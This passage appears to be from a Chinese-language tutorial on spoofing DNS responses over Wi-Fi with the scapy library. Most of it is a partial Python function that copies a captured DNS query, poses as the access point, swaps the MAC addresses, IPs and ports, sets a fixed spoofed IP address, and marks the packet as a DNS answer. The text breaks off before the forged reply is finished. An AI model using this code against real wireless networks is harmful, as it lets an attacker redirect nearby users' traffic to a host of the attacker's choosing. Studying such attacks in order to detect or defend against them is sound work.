幸运的是,通过抽象掉许多次要细节,scapy使这个变得相当轻松(例如,在一个802.11帧中,实际上具有4个MAC地址字段,根据包的方向,每一种都有不同的顺序)。如上所述,代码如下:
def send_response(x):
# Get the requested domain
req_domain = x[DNS].qd.qname
spoofed_ip = '192.168.2.1'
# Let's build our response from a copy of the original packet
response = x.copy()
# We need to start by changing our response to be "from-ds", or from the access point.
response.FCfield = 2L
# Switch the MAC addresses
response.addr1, response.addr2 = x.addr2, x.addr1
# Switch the IP addresses
response.src, response.dst = x.dst, x.src
# Switch the ports
response.sport, response.dport = x.dport, x.sport
# Set the DNS flags
response[DNS].qr = 1L
response[DNS].ra = 1L
response[DNS].ancount = 1